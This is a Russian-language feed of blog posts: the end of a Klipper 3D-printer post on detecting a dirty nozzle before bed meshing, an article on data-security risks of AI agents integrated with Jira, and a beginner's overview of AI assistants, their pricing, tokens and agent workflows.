save_config: set [bed_mesh kamp] max_y = 260.0
Bed Mesh state has been saved to profile [kamp]
for the current session.  The SAVE_CONFIG command will
update the printer config file and restart the printer.
SAVE_CONFIG to '/home/mks/printer_data/config/printer.cfg' (backup in '/home/mks/printer_data/config/printer-20260412_211059.cfg')
ВНИМАНИЕ: Сопло грязное (Z-avg: 0.136). Попытка очистки №1...
Heater extruder approaching new target of 240.000
...

Совет по настройке: Начните с порога 0.07 - 0.1 мм. Он должен быть выше погрешности вашего датчика и теплового расширения, но меньше высоты первого слоя вашего пластика.

В норме среднее значение Z по сетке после G29 должно быть близким к нулю, с разбросом не более 0.2. Если вы не выполняли калибровку стола, то применяйте макрос аккуратнее - подберите свое пороговое значение. А лучше выполните калибровку стола. Мой порог в 0.07 мм — гарантированно ловит попытки мешинга с грязным носом.

Если есть желание протестировать работу, можно так - подсовывая при каждом замере сложенную в пару слоев бумажку (я проверял щупом 0.1).

Надеюсь это сэкономит Вам кучу времени при удаленном запуске печати, когда нет возможности лично проверить чистоту сопла.

Удачи в печати.

ИИ в корпоративной Jira или лиса в курятнике: новый вызов для DevSecOps-инженеров

rnbparty — Sat, 18 Apr 2026 07:16:06 +0000

Спойлер: не бойтесь модели — бойтесь препроцессора

25 февраля 2026 года Atlassian вывела в открытую бету «агентов в Jira». Теперь они практически наши коллеги: видны на доске как исполнители, на равных участвуют в рабочих процессах, а вызывать их можно прямо в комментариях через @mention. Параллельно Atlassian выпустила Rovo MCP Server GA — хостированный сервер, который дает совместимым AI-клиентам (Claude, Cursor, Gemini CLI и др.) защищенный доступ к Jira и Confluence.

Некоторые из этих сценариев были доступны и раньше, но в другом виде. Rovo Agents (платформа ИИ-агентов Atlassian) работали (с 2024) в основном через отдельный чат-интерфейс и не были встроены в Jira как полноценные участники. В февральском релизе это изменилось: теперь агенты — часть структуры Jira, работают в рамках проектных настроек, прав доступа, аудит-логов и согласований.

Что с безопасностью: общая архитектура

Типовая схема взаимодействия ИИ‑ассистента с Jira — это три слоя: препроцессор (middleware), модель (GPT/Claude/Gemini) и постпроцессинг.

Препроцессор забирает данные из Jira по API, нормализует их, фильтрует, обогащает контекстом, при необходимости строит векторный индекс, пишет логи и только потом формирует запрос для модели.
После этого модель в облаке провайдера (OpenAI, Anthropic, Google Cloud) получает уже готовый промпт и подготовленный контекст.
Ответ возвращается через постпроцессинг, где его можно дообезличить, залогировать и отдать обратно в Jira.

Это важная развилка: GPT, Claude или Gemini не «ходят» в Jira сами по себе. Они видят только то, что вы им отправили. И вот тут ответ на вопрос «что происходит с данными компании» зависит от двух вещей: что делает с запросом провайдер модели и что делает с исходными данными ваш препроцессор до того, как этот запрос вообще собран.

Что делают с данными провайдеры

Начнем с провайдеров и сразу хорошая новость: и OpenAI, и Anthropic, и Google — дают корпоративным клиентам договорные гарантии того, что данные через API не используются для обучения моделей. Это прописано в условиях сервиса, и применяется по умолчанию, необходимости что-то специально отключать нет.

Вот только детали у каждого провайдера свои, а искать их нужно не на маркетинговой странице, а в контракте, DPA (Data Processing Agreement, соглашение об обработке данных) и настройках конкретного продукта. Начать можете с этого: OpenAI DPA, Anthropic DPA, Google Cloud DPA.

Если очень кратко, различия в следующем:

У OpenAI для чувствительных кейсов доступен режим Zero Data Retention: там даже служебные логи не сохраняются, хотя запрос все равно проходит через защитные фильтры. Похожая логика у Anthropic: для коммерческих продуктов обучение на клиентских данных требует явного согласия клиента, а для enterprise-сценариев доступны договорные режимы изоляции и сниженной ретенции. У Google в Gemini for Workspace и Vertex AI данные клиента также отделяются от данных для обучения, а в корпоративных сценариях можно настраивать параметры региона, шифрования и частных соединений.

Это не значит, что риска нет. Это значит, что в enterprise-канале риск обычно не в провайдере, который внезапно начнет доучивать модель на ваших тикетах, давая доступ к внутренней кухне компании, а в том, какой именно контекст вы ему отправили и как этот контекст был собран.

Здесь есть важная оговорка про Anthropic. On-prem-развертывания базовых моделей Claude в исходном виде нет. Доступ идет либо через облако самого Anthropic, либо через партнерские каналы вроде AWS Bedrock и Google Vertex AI. Для security-команды это означает одно: рассчитывать на полностью локальный Claude не стоит, архитектуру в любом случае придется проектировать исходя из облачного сценария.

Почему личный аккаунт сотрудника — это другое

Все сказанное выше справедливо для корпоративных продуктов и API. Потребительские версии — Claude Free/Pro/Max в браузере, Gemini Apps на gemini.google.com, ChatGPT Free — живут по другим правилам.

Там режимы хранения, использования данных и отключения обучения отличаются от enterprise-сценариев и требуют отдельной настройки, если она вообще доступна.

На практике это означает неприятную, но простую вещь. Когда разработчик, аналитик или проджект открывают свой личный браузерный чат и копируют туда реальный тикет из Jira, они работают уже не в корпоративном контуре, даже если делают это из благих намерений.

Проблема здесь явно не в Anthropic, OpenAI или Google, а в том, что ваша компания не развела режимы использования и не закрыла этот сценарий организационно, объяснив сотруднику перспективы такого поведения. Проще говоря — забила на безопасность.

Для работы с Jira нужны либо корпоративные лицензии, либо корпоративный API-канал: OpenAI API или Enterprise, Anthropic API и Claude for Work, Gemini for Workspace или Google Cloud. Личный аккаунт сотрудника, прокинутый через сторонний клиент, — ни разу не замена этим продуктам и не «временное решение», а отдельный, прямой риск.

Где на самом деле прячется лиса

Теперь к главному. Препроцессор — это не просто прослойка между Jira и моделью. Это слой, который фактически держит ваши данные:

индексирует тикеты;
хранит векторные представления;
кэширует запросы и ответы;
пишет логи;
собирает метрики качества;
обогащает контекст данными из других систем.

Если этот слой развернут внутри вашего контура — on-prem или в собственном VPC, — риск, не исчезает полностью, но становится более управляемым. Все упирается в то, что именно вы храните, как долго, в каком виде, кто имеет доступ и куда разрешен исходящий трафик.

Однако еще опаснее сценарий, когда вместо собственной middleware-прокладки компания ставит готовый SaaS-коннектор из маркетплейса Jira или вообще подключает внешнюю AI-платформу, пусть и рекомендованную для Jira. Тогда появляется еще один обработчик данных со своей базой, своими логами, своей юрисдикцией хранения, своими условиями и своей моделью угроз. И этот риск уже никак не покрывается тем, что у вас подписан DPA с OpenAI, Anthropic или Google.

Проще говоря, классный плагин AI for Jira — это не продолжение политики безопасности провайдера модели. Это отдельный поставщик. И проверять его нужно отдельно.

Что делать, чтобы спать спокойно

Если смотреть на задачу по-взрослому, начинать нужно не с выбора модели, а с правил и архитектуры.

Во-первых, запретить использование личных consumer-аккаунтов для работы с корпоративными данными. Это базовая гигиена. Пока сотрудники безмятежно копируют тикеты в свой личный чат, вся остальная безопасность — фикция.

Во-вторых, использовать только корпоративные каналы доступа к модели. И это не формальность. У enterprise-продуктов и API другой технический режим: DPA, управляемая ретенция, отдельные настройки доступа, иногда — ZDR (Zero Data Retention, режим нулевого хранения данных) или его аналоги. Не факт, что поможет, но в целом жить можно.

В-третьих, держать препроцессор внутри собственного контура и относиться к нему как к критичному хранилищу, а не как к утилитарной прослойке для запросов. Минимальный набор мер для этого не требует участия специалистов из Кремниевой долины:

по возможности хранить не полный текст тикетов, а производные представления;
шифровать хранилища и логи;
ограничивать исходящий трафик только до нужного API;
минимизировать контекст до отправки в модель;
маскировать PII (Personally Identifiable Information, персональные данные);
заменять логины, Jira ID и другие идентификаторы псевдонимами;
фильтровать вложения и чувствительные поля до индексации.

Модели не нужен весь оригинальный тикет, чтобы дать полезный ответ. Ей нужен достаточный контекст. Именно разница между «всем» и «достаточно» обычно и определяет, есть у вас реальный контроль над данными или вам это кажется.

В-четвертых, отдельно проверить договорную часть. Если вам важна нулевая или сокращенная ретенция логов, странно ожидать этого от базовой enterprise-лицензии. Такие режимы нужно дополнительно фиксировать в контракте, приложениях к нему и, по возможности, подтверждать технически. Вот здесь, кстати, юрист уровня Кремниевой долины, будет кстати.

Наконец, в-пятых. Не стоит доверять маркетплейс-коннекторам, пусть они очень вам нравятся и клянутся мамой. Если вы ставите внешний AI-плагин для Jira, у него должны быть свои DPA, желательно даже DPIA (Data Protection Impact Assessment, оценка воздействия на защиту данных), понятная модель хранения данных, прозрачная юрисдикция и внятный ответ на вопрос, где именно лежат тикеты, индексы, кэш и логи и как обеспечивается их защита.

Вывод

А вывод очевиден: безопасность любой ИИ-интеграции определяет не модель, а цепочка обработки данных между Jira и этой моделью. У провайдера LLM своя зона ответственности. У вас, как у владельца и администратора бизнес-процессов — своя. И если в этой цепочке есть слабое место, то чаще всего это не GPT, Claude или Gemini, а слой, который вы сами построили между ними.

При этом даже если речь идет о корпоративном API, договорных гарантиях, сниженной ретенции и настроенном с маниакальной аккуратностью доступе, риск остается, потому что данные все равно попадают в руки внешнего провайдера.

Понимая, что для части компаний уже сам факт вынесения данных во внешний облачный контур является отдельным, часто, неприемлемым риском, и опираясь на собственный опыт, мы предлагаем встречный, более понятный с точки зрения безопасности, сценарий: разместить ИИ внутри собственного контура.

Да, такая модель, скорее всего, проиграет в мощности флагманским облачным системам. Но, согласитесь, во многих прикладных задачах она, мощность, и не требуется. Если цель — искать данные, работать в рамках внутренней базы знаний, помогать с навигацией по тикетам, документам, регламентам и типовым запросам, локальной модели вам хватит за глаза.

Немного про AI для догоняющих

Qulisun — Sat, 18 Apr 2026 07:15:30 +0000

Не тот мудр, кто знает всё, а тот, кто знает, кого спросить.

Немного введения

В настоящее время тема искусственного интеллекта (AI) перестала быть уделом исследователей и энтузиастов — она ворвалась в повседневную работу инженеров, аналитиков, менеджеров и, по сути, всех, кто хоть как‑то взаимодействует с текстом, кодом или данными.

Тем не менее я регулярно сталкиваюсь с ситуацией, когда коллеги либо вообще не используют AI‑ассистентов, либо используют их на уровне «задай вопрос — получи ответ», не понимая, за что они платят, какие модели бывают и как из всего этого извлечь реальную пользу. В рамках данной статьи я постараюсь дать понятный обзор текущего ландшафта AI‑ассистентов: что это такое, какие бывают, сколько стоят, как с ними работать и что такое загадочные «промты» и «MCP‑серверы». Статья рассчитана на тех, кто хочет разобраться в теме, но не знает, с чего начать. Я не буду углубляться в математику нейронных сетей и вместо этого сфокусируюсь на практической стороне вопроса.

Что такое AI‑ассистент и зачем он нужен

Когда я говорю «AI» в контексте этой статьи, я имею в виду большие языковые модели (Large Language Models, LLM) — это программы, которые обучены на огромных объёмах текстовых данных и способны генерировать осмысленный текст, код, анализировать документы и решать разнообразные задачи. Если совсем просто: представьте себе очень начитанного собеседника, который прочитал практически весь интернет, научные статьи, книги и документацию. Вы задаёте ему вопрос — он отвечает. Причём отвечает не просто копируя текст откуда‑то, а формулируя ответ «своими словами», основываясь на усвоённых закономерностях языка. На практике AI‑ассистенты помогают с такими задачами:

написание и редактирование текстов (от писем до технической документации)
генерация и отладка кода на любом языке программирования
анализ документов, таблиц, логов
перевод текстов с учётом контекста
генерация изображений по текстовому описанию
исследование и поиск информации
мозговой штурм и генерация идей

Стоит отметить, что AI не является заменой специалиста — это инструмент, который значительно ускоряет работу. Я бы сравнил это с появлением IDE после блокнота: писать код можно и в блокноте, но зачем, если есть инструменты, которые делают это эффективнее?

Я не буду вдаваться в частные случаи использования AI, ведь таких вариантов большое множество, начиная с помощью твоей личной бухгалтерией, заканчивания сложными исследовательскими задачами в различных сферах деятельности: медицина, военное дело и другое.

Немного техники взаиомодействия с AI

А как вообще происходит?

Давайте я попробую объяснить, максимально просто. Представьте себе очень умного попугая, который прочитал всю библиотеку в мире. Вы ему говорите фразу, а он, основываясь на всём, что прочитал, подбирает наиболее подходящее следующее слово. Потом ещё одно. И ещё. Слово за словом — так и складывается ответ. Технически это работает так: вы пишете текст, программа разбивает его на кусочки (токены — это примерно слоги или короткие слова), превращает их в числа и прогоняет через огромную математическую модель — нейронную сеть. Эта сеть по сути является гигантской таблицей вероятностей: для каждого набора входных токенов она предсказывает, какой токен должен идти следующим. Модель не «думает» в привычном нам смысле и не «понимает» текст так, как понимаем его мы — она очень хорошо предсказывает, какой текст был бы уместен в ответ на ваш запрос, потому что видела миллиарды похожих текстов при обучении. Но результат настолько хорош, что разница на практике часто незаметна. Когда вы общаетесь с ChatGPT или Claude, вы по сути кидаете числа в огромный калькулятор, а обратно получаете другие числа, которые программа превращает обратно в текст. Вот и вся магия.

Существуют различные способы взаимодействия с LLM.

Локальная LLM

Когда я запускаю модель локально, например через Ollama, происходит следующее: я скачиваю файл с весами модели (это, по сути, «мозг» — набор числовых параметров, на которых модель обучена) себе на диск. При запуске Ollama загружает эти веса в видеопамять моей видеокарты (или в оперативную память, если GPU нет, но тогда всё будет работать значительно медленнее). Когда я пишу промт, мой текст превращается в токены — числовые коды, которые модель понимает — и прогоняется через нейронную сеть прямо на моём железе. Ответ генерируется токен за токеном, и весь этот процесс не выходит за пределы моего компьютера. Никакого интернета, никаких серверов, никакой оплаты. Но есть нюанс: качество ответа напрямую зависит от размера модели, а размер модели — от количества видеопамяти. Модель на 7 миллиардов параметров влезет в карту с 8 ГБ VRAM, но она будет заметно слабее, чем облачный Claude или GPT, у которых параметров на порядки больше.

Графически это будет выглядеть как схема ниже:

В чем плюсы использования локальной LLM?

Ваши данные никогда не покинут сервер, где происходит их обработка.
Полностью бесплатно — платите только за электричество.
Работает без интернета — хоть в бункере, хоть в самолёте (при наличии хорошего источника электричества:) ).
Полный контроль: можно дообучить модель на своих данных, выбрать любую модель из открытых, настроить параметры генерации.

Минусы тоже есть:

Нужно мощное железо. Для комфортной работы с серьёзными моделями — видеокарта от 8 ГБ VRAM, а лучше 16+. Это недёшево.
Качество ответов заметно слабее, чем у облачных флагманов. Локальная модель на 7–13 миллиардов параметров не сравнится с облачным GPT-5 или Claude Opus.
Придётся разбираться с установкой, настройкой и обновлениями самостоятельно.
Нет встроенных инструментов из коробки — только голый текст «вопрос‑ответ».

Как я использовал локальные LLM на основе своего опыта:

Обработка данных клиента (документы, базы данных) с использованием вектороной базы данных. LLM хорошо ориентируется и неплохо ищет и строит отчеты.
Анонимизация данных перед отправкой облачную LLM. Она хорошо справляется с анонимизацией данных на основе заданных критериев, например, на основе плана, описываемого в YAML формате.
Использование локальной LLM в роли агента. С правильным подходом, инжектированием промтов и собственными tools/skills довольно хорошо ориентируется в рамках своего контекстного окна.

Облачная LLM

Здесь всё наоборот — модель работает не у меня, а на серверах провайдера. Когда я открываю, скажем, claude.ai или chatgpt.com и пишу сообщение, мой текст уходит по зашифрованному протоколу (HTTPS) на серверы Anthropic/OpenAI, где стоят кластеры из дорогих GPU (A100, H100 и подобные), на которых и работает модель. Там мой промт так же превращается в токены, прогоняется через нейронную сеть, и сгенерированный ответ прилетает мне обратно — обычно в режиме стриминга, то есть я вижу, как текст появляется по словам. Преимущество в том, что мне не нужно думать о железе вообще — провайдер держит модели с сотнями миллиардов параметров на оборудовании, которое стоит миллионы долларов. За это я плачу подпиской или за токены через API.

Какие AI‑ассистенты существуют

На сегодняшний день рынок AI‑ассистентов сформировался вокруг нескольких основных игроков. Давайте рассмотрим ключевых.

ChatGPT (OpenAI)

Пожалуй, самый известный AI‑ассистент. Разработан компанией OpenAI. Актуальные модели — GPT-5.x. ChatGPT хорош в качестве универсального помощника: он одинаково уверенно работает с текстом, кодом, генерацией изображений (через DALL‑E) и анализом данных.

Claude (Anthropic)

Разработан компанией Anthropic. Актуальные модели — Claude Opus 4.6, Claude Sonnet 4.6, Claude Haiku 4.5. Claude известен тем, что выдаёт ответы, которые «звучат» наименее «роботизированно». Он особенно силён в работе с длинными документами, написании качественного кода и задачах, требующих глубокого анализа. Claude умеет работать с файлами, создавать документы (Word, PowerPoint, Excel), создавать интерактивные React‑компоненты прямо в чате.

Gemini (Google)

Разработан Google. Актуальные модели — Gemini 3.x. Главное преимущество — глубокая интеграция с экосистемой Google (Gmail, Docs, Drive). Если вы живёте в Google Workspace, Gemini будет работать прямо там, где вы работаете. Также Gemini отличается большими контекстными окнами и мультимодальностью (работа с текстом, изображениями, видео).

Grok (xAI)

Разработан компанией xAI (Илон Маск). Доступен через платформу X (бывший Twitter). Grok позиционируется как наиболее бюджетный вариант по стоимости API и предлагает модели, конкурентные по качеству. Отличается, скажем так, более «разговорным» стилем общения.

Copilot (Microsoft)

Интегрирован в экосистему Microsoft (Office 365, Windows, VS Code). Если ваша компания работает на стеке Microsoft — Copilot встроен прямо в привычные инструменты.

Личной выбор каждого, но:

На рынке два серьезных игрока, которые по качеству моделей и используемых инструментов борятся за пользователей: Anthropic и ChatGPT.

Если вы программист и работаете со сложными проектами, то я бы рекомендовал Anthropic (Claude) с текущей моделью Opus 4.6 (1m или 200k), а также если вы хотите получить качественный документ MS Office. Модель немного отличается своей реактивностью, но это решается правильными промтами и окружением agents.md/memory и прочее. Картинки не генерит, зато рисует прекрасные схемы (графические блок схемы, HTML схемы).

ChatGPT также неплоха в программировании и исследовательских задачах, но она более «задушена», работает немного медленнее, но часто может разобраться в сложных задачах, например, анализа больших данных: кода, API. Я часто использую ее в роли арбитра, для вынесения вердикта после этапов программирования или анализа PRD. Можно генерировать качественные изображения.

За что мы платим и какие типы аккаунтов бывают

Это, пожалуй, один из самых частых вопросов: «Зачем платить, если есть бесплатная версия?». Давайте разберёмся. Бесплатный доступ Все основные AI‑ассистенты предоставляют бесплатный доступ.

Однако он ограничен:

доступ к менее мощным моделям (или ограниченный доступ к мощным)
лимит на количество сообщений в день или в час; отсутствие (или ограничение) продвинутых функций:
генерация изображений, работа с файлами, Deep Research и так далее

Я бы сказал, чтобы понять какая AI лучше, начните с бесплатной, но это не так. При покупке подписки или API вы получаете доступ в мощным моделям, которая по разному обучены, имеют разную глубину, количество слоев и др. и по настоящему AI раскрывается именно при наличии подписки.

Еще раз, выбор модели влияет на результат. Если вы спрашиваете «сколько будет 2+2» — нет смысла использовать флагманскую модель. А вот для анализа контракта на 50 страниц или написания сложного алгоритма лучше использовать самую мощную доступную модель.

Подписка или API?

Тут есть важный момент, который стоит пояснить — разница между подпиской и API, потому что это два принципиально разных способа оплаты.

Когда вы покупаете подписку (например, Claude Pro или ChatGPT Plus за $20/мес), вы получаете не безлимитный доступ, как может показаться, а определённый пул использования на временной промежуток. У каждого провайдера это устроено по‑своему: где‑то это ограничение на количество сообщений за 3–5 часов, где‑то — на объём обработанных токенов. Когда вы упираетесь в лимит, AI вежливо просит подождать. Через некоторое время счётчик сбрасывается и можно работать дальше. На практике для обычного использования — написать письмо, разобраться в коде, проанализировать документ — стандартной подписки хватает с большим запасом. Упираются в лимиты, как правило, те, кто работает с AI плотно и непрерывно на протяжении всего дня.

API — это совсем другая история. Здесь нет фиксированной абонентской платы. Вы платите ровно за то, что использовали: отправили промт — заплатили за входящие токены, получили ответ — заплатили за исходящие. Это как оплата за электричество по счётчику вместо фиксированного тарифа. API нужен в первую очередь разработчикам, которые встраивают AI в свои продукты: чат‑боты, системы анализа, автоматизация — всё, что работает без участия человека в каждом запросе. Для обычного пользователя API избыточен, а вот для бизнеса это основной способ работы с AI.

Если вы один или небольшая команда разработчиков, то, конечно, лучше смотреть в сторону подписки Max (или Pro Max) для от Anthropic (Claude) или Pro (5x) (или Pro 10x) от OpenAI (Codex). В своей практике я использую Claude Pro и OpenAI Pro.

Если вы обычный пользователь, но хотите получить много больше от AI, то рекомендую купить подписку Claude Pro или ChatGPT, обе около $20 в месяц.

Платные планы

Стоимость платных подписок на середину 2026 года выглядит примерно так:

Сервис	Стандартный план	Продвинутый план	Команды
ChatGPT	Plus — $20/мес	Pro — $200/мес	Team — $25-30/мес за пользователя
Claude	Pro — $20/мес	Max — $100-200/мес	Team — $25-30/мес за пользователя
Gemini	AI Pro — $19.99/мес	AI Ultra — $249.99/мес	Через Google Workspace
Grok	SuperGrok — $30/мес	Heavy — $300/мес	Через X Premium+

Возвращаемся к работе с облачной AI

Схематично работа с облачной AI выглядит как показано на рисунке ниже:

Плюсы:

Доступ к самым мощным моделям в мире — с сотнями миллиардов параметров на железе за миллионы долларов. Вам ничего покупать не нужно. Начать можно за 30 секунд — открыл браузер, зарегистрировался, пишешь.
Модели постоянно обновляются и улучшаются без вашего участия.
Есть бесплатные тарифы, которых достаточно для знакомства.

Минусы:

Ваши данные уходят на серверы провайдера. Для чувствительных корпоративных данных это может быть неприемлемо.
Нужен стабильный интернет.
Платная подписка для полноценного использования ($20/мес и выше).
Вы зависите от провайдера: если он решит изменить модель, поднять цены или упадёт — вы ничего не контролируете.

Различные мои случаи, в которых я использую публичные AI смысла описывать нет, поскольку каждый находит применение AI в соответствии со своими рабочими обязанностями, бизнесом и уровнем собственного развития.

Агенты AI

Представьте, что LLM — это очень умный мозг в банке. Он может думать, но не может ничего делать: у него нет рук, нет глаз, нет доступа к интернету. Вы кидаете ему текст — он кидает текст обратно. Всё.

AI‑агент — это тот же мозг, но уже с руками, ногами и инструментами. Он может сходить в интернет, открыть файл, написать и запустить код, отправить письмо, создать задачу в Jira. Разница ровно такая же, как между человеком, который сидит в пустой комнате и отвечает на записки через щель в двери, и человеком, у которого есть компьютер, телефон и доступ ко всем вашим системам. Мозг один и тот же — отличается то, что ему разрешили делать.

По сути, каждый раз когда вы открываете ChatGPT или Claude в браузере, вы уже работаете с AI‑агентом. Просто степень его самостоятельности бывает разной — от простого «спросил‑ответил» до полноценной автономной работы.

Помимо браузера, AI‑агенты могут работать прямо на вашем компьютере — и тут есть принципиально разные форматы:

Десктопные приложения (Claude Desktop, ChatGPT Desktop) — по сути тот же чат, что и в браузере, но в виде отдельной программы. Казалось бы, зачем, если есть браузер? Разница в том, что десктопное приложение может заимодействовать с вашей локальной системой. Главное преимущество Claude Desktop — поддержка MCP‑серверов. Через них приложение получает доступ к файлам на диске, локальным базам данных, Git‑репозиториям и вообще к чему угодно, что вы настроите. В браузерной версии этого нет. ChatGPT Desktop работает аналогично.

Терминальные агенты (Claude Code, OpenAI Codex CLI) — это совсем другой зверь. Они работают прямо в командной строке, без графического интерфейса. Вы пишете задачу текстом, а агент сам читает файлы вашего проекта, пишет код, запускает команды, видит ошибки, исправляет их и запускает снова. По сути это программист‑напарник, который сидит у вас в терминале. Я запускаю Claude Code в папке проекта, говорю «добавь авторизацию через OAuth» — и он сам находит нужные файлы, пишет код, ставит зависимости, запускает тесты. Мне остаётся только проверить результат и подтвердить изменения. Это самый мощный формат для разработчиков, но и порог входа соответствующий — нужно быть уверенным пользователем терминала.

IDE‑расширения (GitHub Copilot, Claude Code для VS Code и JetBrains, Cursor) — золотая середина. Агент встроен прямо в вашу среду разработки. Он видит ваш код, предлагает автодополнение, объясняет ошибки, рефакторит функции, пишет тесты — всё в контексте вашего проекта, не выходя из редактора. Cursor пошёл ещё дальше — это отдельная IDE, целиком построенная вокруг AI: вы выделяете кусок кода, описываете словами что хотите изменить, и Cursor вносит правки сам. Для программиста, который проводит весь день в IDE, это самый естественный и быстрый способ работы с AI.

Важно понимать: все эти приложения используют облачные модели. Claude Desktop, Claude Code и Cursor отправляют ваши запросы на серверы Anthropic или OpenAI — модель работает в облаке, а приложение на вашем компьютере выступает умным клиентом, который знает контекст вашей локальной среды. Это не то же самое, что локальная LLM через Ollama, где модель физически работает на вашем железе.

Что такое токены

Я уже несколько раз упоминал токены, и пора объяснить, что это конкретно. Токен — это минимальная единица текста, которую понимает модель. Это не совсем слово и не совсем слог — скорее что‑то среднее. Для английского языка одно слово в среднем занимает 1–1.3 токена. Слово «hello» — один токен. Слово «unfortunately» — тоже может быть одним токеном, потому что модель видела его миллионы раз и «запомнила» целиком. А вот редкое слово вроде «defenestration» модель разобьёт на несколько кусков.

И тут есть важный нюанс для русскоязычных пользователей: русский текст обходится примерно в 2–3 раза дороже английского. Слово «привет» — это 2–3 токена, тогда как «hello» — один. Это происходит потому, что модели обучались преимущественно на английском, и кириллица для них менее «привычна» — они разбивают русские слова на более мелкие куски. На практике это означает, что одна и та же по смыслу переписка на русском съест контекстное окно быстрее, чем на английском, и через API обойдётся дороже.

Чтобы было нагляднее: одна страница текста А4 — это примерно 500–700 токенов на английском и 1000–1500 на русском. Книга в 300 страниц — около 200 000 токенов. То есть целая книга как раз влезает в контекстное окно Claude (200k), но при этом занимает его целиком, и для самого диалога места уже не остаётся. Поэтому когда вы загружаете большой документ, старайтесь делать это в начале чистого чата, а не посреди длинного диалога.

Что важно знать при работе с AI‑агентом

Не только с AI‑агентом, а в целом с AI, с которым вы взаимодействуете (в браузере, по API, через приложение, через CLI):

Контекстное окно — главное ограничение. Контекстное окно — это объём информации, который агент может «держать в голове» одновременно. Измеряется в токенах: у Claude это около 200 000 токенов или 1 миллион для модели Opus 4.6, у GPT — в зависимости от модели от 128 000 до миллиона. Звучит много, но на практике оно заполняется быстро: туда входит системный промт, вся история вашего диалога, содержимое загруженных файлов и результаты вызова инструментов. Когда окно переполняется, агент начинает «забывать» начало разговора — буквально теряет из виду то, о чём вы договорились двадцать сообщений назад. Это не баг, а физическое ограничение архитектуры. Поэтому длинные диалоги на сложную тему — это всегда риск потери контекста.

Сжатие контекста — как агент справляется с длинными сессиями. Некоторые агенты (например, Claude Code, Codex) умеют автоматически сжимать контекст: когда окно начинает переполняться, агент суммаризирует предыдущую часть диалога, сохраняя ключевые решения и выбрасывая детали. Это помогает, но неизбежно приводит к потерям — агент может забыть нюанс, который казался вам очевидным. Поэтому я взял за правило: если диалог стал длинным и агент начинает «плыть» — лучше начать новый чат, кратко пересказав ключевые решения в первом сообщении, чем пытаться дотянуть старый.

Когда видите что контекстное окно заканчивается, лучше спросить агента сформировать результаты работы в отдельный файл, чтобы при следующей сессии вы просто сказали прочитать этот файл и агент все «вспомнил».

CLAUDE.md / agents.md — инструкция для агента на уровне проекта. Это файл, который лежит в корне вашего проекта и автоматически подгружается агенту в контекст при каждом запуске. По сути это ваш «бриф» для AI: какие технологии используются, какие соглашения по коду приняты, какая структура проекта, какие команды запускать для тестов. Без этого файла агент каждый раз начинает с нуля и тратит ваши токены (и ваше время) на то, чтобы заново понять, как устроен проект. Я бы рекомендовал заводить CLAUDE.md в каждом серьёзном проекте — это как README, только для AI.

Лучшие практики по созданию инструкций описаны непосредственно на веб‑сайтах: claude.md, agents.md.

PRD — ваш главный инструмент при работе с агентом. Product Requirements Document — это подробное описание того, что вы хотите получить. Чем детальнее PRD, тем лучше результат. Когда вы просто говорите агенту «сделай мне API для управления пользователями», вы получите что‑то работающее, но почти наверняка не то, что вы имели в виду. Когда вы даёте PRD с описанием эндпоинтов, моделей данных, правил валидации, ролевой модели, обработки ошибок и примерами запросов — результат будет на порядок ближе к ожиданиям. Я обычно прошу сам AI помочь мне написать PRD: описываю задачу своими словами, а агент структурирует это в полноценный документ. Потом я правлю и отдаю ему же как задание.

Важно из практики: описать именно основную логику задачи, что вы хотите получить.

Делите сложные задачи на подзадачи. Это, пожалуй, самое важное правило. Если вы просите агента за один промт написать целое приложение — с авторизацией, базой данных, REST API, тестами и деплоем — результат будет посредственным. Агент попытается сделать всё разом, запутается в зависимостях и выдаст код, который красиво выглядит, но разваливается при первом запуске. Правильный подход — декомпозиция: сначала структура проекта, потом модели данных, потом эндпоинты по одному, потом тесты к каждому, потом интеграция. Каждую подзадачу — в отдельном запросе или даже в отдельном чате. Да, это дольше. Но результат будет рабочим.

Есть разные продукты, которые поддерживают декомпозицию сложных задач на простые, чтобы агент успевал сделать все в рамках своего контекстного окна. Да, сейчас Codex и Claude поддерживают самостоятельную декомпозицию но результат желает быть лучшим.

Пример решения это использование AI Agent Loop Orchestrator (например, бесплатный RalphTUI или легко ищутся другие варианты и платные и бесплатные).

Всегда проверяйте результат. AI‑агент не является безошибочным. Он может написать код, который выглядит идеально, но содержит логическую ошибку. Может уверенно «сослаться» на несуществующую функцию библиотеки. Может удалить файл, который вы не просили удалять. Я выработал правило: после каждой завершённой задачи — ревью. Для кода это запуск тестов, линтера и ручная проверка логики. Для текста — вычитка на фактические ошибки. Для любых действий с файловой системой — проверка через git diff, что именно изменилось.

Повторная проверка написанного кода — это общая практика, особенно если у вас есть доступ к двум разным AI.

Git — ваша страховка. Перед тем как дать агенту задачу, которая затрагивает существующий код, сделайте коммит. Всегда. Агент может переписать файл целиком, удалить «лишние» функции, которые на самом деле используются, или «отрефакторить» рабочий код в нерабочий. Если у вас есть коммит — вы в любой момент откатитесь. Если нет — будете восстанавливать по памяти. Я обычно создаю отдельную ветку для каждой AI‑задачи и мержу только после проверки.

Один агент — один фокус. Не пытайтесь в одном чате обсуждать архитектуру проекта, дебажить конкретный баг и попутно просить написать документацию. Каждая тема — отдельный чат. Когда вы смешиваете контексты, агент начинает путаться: решения из одной задачи «перетекают» в другую, контекстное окно забивается нерелевантной информацией, качество ответов падает. Думайте об этом как о вкладках в браузере: для каждой задачи своя вкладка.

Промт «подумай пошагово» — не шутка. Когда задача сложная, добавляйте в промт просьбу рассуждать пошагово, или используйте режим Extended Thinking (у Claude) / Chain of Thought (у GPT). Модель буквально начинает «думать вслух» — разбивает задачу на шаги, анализирует каждый, и только потом выдаёт ответ. Качество на сложных задачах вырастает драматически. Это особенно важно для задач с логикой, математикой, архитектурными решениями и отладкой.

Давайте агенту примеры. Если вы хотите определённый стиль кода, формат ответа или структуру документа — не описывайте это словами, покажите пример. «Напиши тесты» — это один результат. «Напиши тесты в таком стиле: [пример теста]» — совершенно другой. Модели отлично обучаются на примерах прямо в рамках диалога. Один хороший пример стоит абзаца объяснений.

Используйте скриншоты и файлы. Современные агенты — мультимодальные, они понимают изображения. Если у вас баг в интерфейсе — сделайте скриншот и отправьте агенту вместе с описанием. Если нужно проанализировать документ — загрузите файл целиком, а не копируйте куски текста. Чем больше контекста вы даёте, тем точнее результат.

Помните про галлюцинации. AI‑агент может с абсолютной уверенностью выдать неверную информацию: несуществующий метод API, выдуманную библиотеку, неправильную команду. Это называется галлюцинации. Они происходят потому, что модель генерирует наиболее вероятный текст, а не проверяет факты. Чем более специфична и нишевая тема, тем выше вероятность галлюцинации. Правило простое: всё, что касается конкретных имён функций, версий библиотек, синтаксиса команд — проверяйте по документации.

